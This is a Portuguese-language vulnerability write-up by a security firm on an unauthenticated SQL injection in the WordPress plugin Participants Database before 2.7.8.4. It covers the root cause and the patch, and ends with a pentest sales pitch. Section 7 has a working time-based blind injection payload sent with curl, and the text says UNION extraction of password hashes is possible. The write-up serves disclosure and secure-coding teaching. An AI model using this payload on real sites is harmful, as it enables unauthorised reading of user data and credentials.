← Voltar para Insights Write-up · SQL Injection Não Autenticado

Participants Database < 2.7.8.4: o SQLi que passa pela aspa que o esc_like() não escapa

O plugin escapa o termo de busca — mas com a função errada. esc_like() protege contra os curingas do LIKE, não contra a aspa que delimita a string. Como o termo é embrulhado em aspas duplas, um " literal sobrevive, quebra o delimitador e injeta SQL. Sem login, na busca pública do site.

Identificação

CVE-2026-13596 CVSS 8.6 · Alto

Software: Participants Database (plugin WordPress) · slug participants-database

Versões afetadas: < 2.7.8.4 · corrigido na 2.7.8.4 · Active installs: 7.000+

Classe: SQL Injection não autenticado (CWE-89) · OWASP A03:2021 — Injection

Vetor: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Privilégio necessário: nenhum (não autenticado) · Crédito: Equipe TreeSec

Data de descoberta: 27 de junho de 2026 · Publicado no WPScan em 20/07/2026

Referências: WPScan · WordPress.org

Aviso legal: toda a validação foi feita exclusivamente em laboratório próprio (WordPress + PHP 8.2 em Docker), de forma não destrutiva e sem exfiltrar dados. Nenhum sistema de terceiros foi testado ou afetado. A falha já está corrigida na versão 2.7.8.4.

1. SQLi não autenticado, na prática

SQL injection é a falha clássica, mas o que muda tudo é o adjetivo: não autenticado. Não é preciso conta, não é preciso enganar ninguém — o atacante conversa direto com o banco a partir de uma requisição anônima ao site. Num plugin como o Participants Database, cuja função é armazenar cadastros de pessoas (nome, contato, campos personalizados), a mesma tabela que alimenta a busca pode ser usada como alavanca para ler o que o atacante quiser: usuários do WordPress, hashes de senha, qualquer dado do banco.

O WPScan classificou o achado em CVSS 8.6, com escopo alterado e impacto alto em confidencialidade (C:H). O vetor marca integridade e disponibilidade como nulas (I:N/A:N) — é uma falha de leitura: o caminho vulnerável seleciona dados, não os altera. Mas “só” leitura, quando o alvo é o banco inteiro, é o suficiente para vazar credenciais e PII.

2. A superfície: a busca pública do [pdb_list]

O plugin oferece o shortcode [pdb_list] para exibir a lista de participantes em uma página pública, com um campo de busca. A instalação padrão já traz first_name e last_name como campos de texto pesquisáveis — ou seja, o caminho vulnerável está exposto logo de cara, sem configuração especial.

A requisição de busca (action=pdb_list_filter, ou via GET quando allow_get_searches está ligado) é processada sem nonce e sem capability check. O valor do usuário é lido por filter_input_array() com a flag FILTER_FLAG_NO_ENCODE_QUOTES:

// leitura do termo de busca — a flag preserva a aspa literal
filter_input_array(INPUT_POST, [
  'value' => ['flags' => FILTER_FLAG_NO_ENCODE_QUOTES],
]);

Repare: essa flag existe justamente para não codificar aspas. O valor chega ao restante do código como texto cru, com o " intacto e sem as barras do magic quotes do WordPress. Guarde a aspa — ela é a chave.

3. A aspa que o esc_like() não vê

Na rota de busca por curinga (o ramo LIKE, em PDb_List_Query_Filter), o termo é embrulhado em aspas duplas como delimitador e escapado com $wpdb->esc_like():

// PDb_List_Query.php — delimitadores do termo no ramo LIKE
$delimiter = array('"', '"');   // termo vira "..."

// PDb_List_Query_Filter.php — escape aplicado ao termo
$term = $wpdb->esc_like($raw);   // ← função ERRADA para este contexto

Aqui está o coração do bug. esc_like() não é uma função de escape de SQL. Ela existe para uma finalidade estreita: neutralizar os curingas do LIKE — escapa %, _ e \ para que sejam tratados como literais. É só isso. Ela não escapa a aspa dupla, porque aspa não é um curinga de LIKE.

O problema é que a aspa dupla é justamente o delimitador escolhido para embrulhar o termo. Então temos a combinação fatal: o delimitador é ", o único escape aplicado ignora ", e a entrada preserva ". Um " no termo fecha a string antes da hora e o que vem depois é interpretado como SQL.

A lição transferível: esc_like() não substitui $wpdb->prepare() nem esc_sql(). Ela protege o padrão do LIKE, não a query. Usá-la como se fosse escape de SQL — ainda por cima com aspa dupla como delimitador — é deixar a porta do delimitador escancarada.

4. O * que desvia da rota segura

O plugin tem, sim, um ramo seguro. Para buscas sem curinga, ele usa esc_sql() — que escaparia a aspa corretamente. A pergunta óbvia é: por que o atacante não cai nesse ramo?

Porque quem escolhe o ramo é o próprio atacante. A presença de um * no termo sinaliza “busca com curinga” e roteia a execução para o ramo LIKE — o vulnerável, com esc_like(). Basta incluir um * no payload para contornar o ramo protegido e cair exatamente onde a aspa passa.

É um caso interessante de proteção assimétrica: duas rotas para a mesma funcionalidade, uma segura e uma vulnerável, e a entrada do usuário decide qual delas roda. A existência da rota segura dá uma falsa sensação de que “tem escape” — tem, mas não onde importa.

5. O sink: get_results sem prepare

A cláusula montada por concatenação chega, sem $wpdb->prepare(), a um get_results() cru:

// PDb_List.php — execução da query montada por concatenação
$result = $wpdb->get_results($list_query);   // sem prepare()

Nenhum prepare() em nenhum ponto da cadeia. O termo, com a aspa preservada e sem escape efetivo, é interpolado direto na string SQL e executado. A cláusula resultante fica assim (payload em destaque):

-- query executada pelo servidor (o " quebra o delimitador)
SELECT p.id, p.first_name, p.last_name, p.city, p.state
FROM wp_participants_database p
WHERE (p.first_name LIKE "qq%" OR SLEEP(3) OR "x"="y")
ORDER BY p.date_updated DESC

6. O que dá para ler

A query da lista seleciona cinco colunas que são ecoadas na resposta (id, first_name, last_name, city, state). Isso é um presente para o atacante: cinco posições de saída visíveis abrem caminho para injeção baseada em UNION, extraindo dados arbitrários diretamente no HTML da lista — usuários do WordPress, hashes de senha, qualquer campo de qualquer tabela do banco.

E, mesmo onde a saída não fosse conveniente, o caminho comporta injeção cega baseada em tempo (o SLEEP() do exemplo), que extrai o banco bit a bit medindo o tempo de resposta. Em resumo: leitura arbitrária do banco, autenticado por ninguém.

7. Prova de conceito

Validado em laboratório (WordPress + Participants Database 2.7.8.3, PHP 8.2) sobre uma instalação padrão — uma página com [pdb_list search=true] e o campo first_name. Não autenticado, sem cookie. Baseline vs. injeção baseada em tempo:

# Baseline — busca normal, sem payload
curl -s -o /dev/null -w '%{time_total}s\n' 'https://LAB/?page_id=<PDB_LIST>' \
  --data-urlencode 'action=pdb_list_filter' \
  --data-urlencode 'search_field[]=first_name' \
  --data-urlencode 'operator[]=LIKE' \
  --data-urlencode 'value[]=zz*' --data-urlencode 'submit_button=Search'
# → ~0.32s

# Injeção cega por tempo — a aspa quebra o delimitador
curl -s -o /dev/null -w '%{time_total}s\n' 'https://LAB/?page_id=<PDB_LIST>' \
  --data-urlencode 'action=pdb_list_filter' \
  --data-urlencode 'search_field[]=first_name' \
  --data-urlencode 'operator[]=LIKE' \
  --data-urlencode 'value[]=qq*" OR SLEEP(3) OR "x"="y' \
  --data-urlencode 'submit_button=Search'
# → ~12s   (o servidor dormiu → injeção confirmada)

Três detalhes fazem o payload funcionar: o prefixo qq* não casa com nada (para o OR SLEEP() ser sempre avaliado), o * força o ramo LIKE vulnerável, e o OR "x"="y" equilibra a expressão sem virar uma tautologia constante — que o otimizador dobraria antes de executar o SLEEP.

8. A correção certa

A correção é usar a ferramenta certa para o contexto certo. O escape de curinga e o escape de SQL são coisas diferentes e devem coexistir:

// ANTES — esc_like tratando de delimitador de string (errado)
$term = $wpdb->esc_like($raw);
$sql  = '... first_name LIKE "' . $term . '" ...';

// DEPOIS — prepare() com placeholder; esc_like só para os curingas
$like = '%' . $wpdb->esc_like($raw) . '%';
$sql  = $wpdb->prepare(
  '... first_name LIKE %s ...', $like
);

Duas mudanças, e o vetor morre: o valor entra por placeholder do prepare() (que cuida do delimitador e do escape), e esc_like() volta ao seu único papel legítimo — neutralizar % e _ dentro do padrão. Nunca montar a cláusula LIKE delimitada por aspas via concatenação. É exatamente o que o mantenedor fez na 2.7.8.4.

O princípio: dados vão para a query por parâmetro, não por concatenação. Toda vez que você precisa “escapar na mão” para colar um valor numa string SQL, a pergunta certa não é “qual função de escape?”, e sim “por que isto não é um prepare()?”.

9. Disclosure e timeline

Se você usa o Participants Database: atualize para a 2.7.8.4 ou superior. Se por algum motivo não puder atualizar de imediato, desabilite a busca pública do [pdb_list] (e allow_get_searches) como mitigação temporária — mas a correção real é a atualização.


Este caso é um lembrete de que “tem escape” não é o mesmo que “está seguro”. Havia escape — só que a função escolhida protegia o curinga e não o delimitador, e uma rota alternativa entregava a entrada do atacante direto no ramo frágil. Distinguir esc_like() de esc_sql() de prepare(), e seguir a entrada por todos os ramos até o get_results(), é o tipo de leitura que nenhum scanner faz por você. É esse nível de profundidade que a TreeSec aplica nos testes dos nossos clientes.

Sua aplicação monta SQL com concatenação?

Nossos pentests Web & API rastreiam cada entrada até o sink SQL, testam bypass de escape e rotas assimétricas — exatamente a cadeia que virou esta CVE 8.6.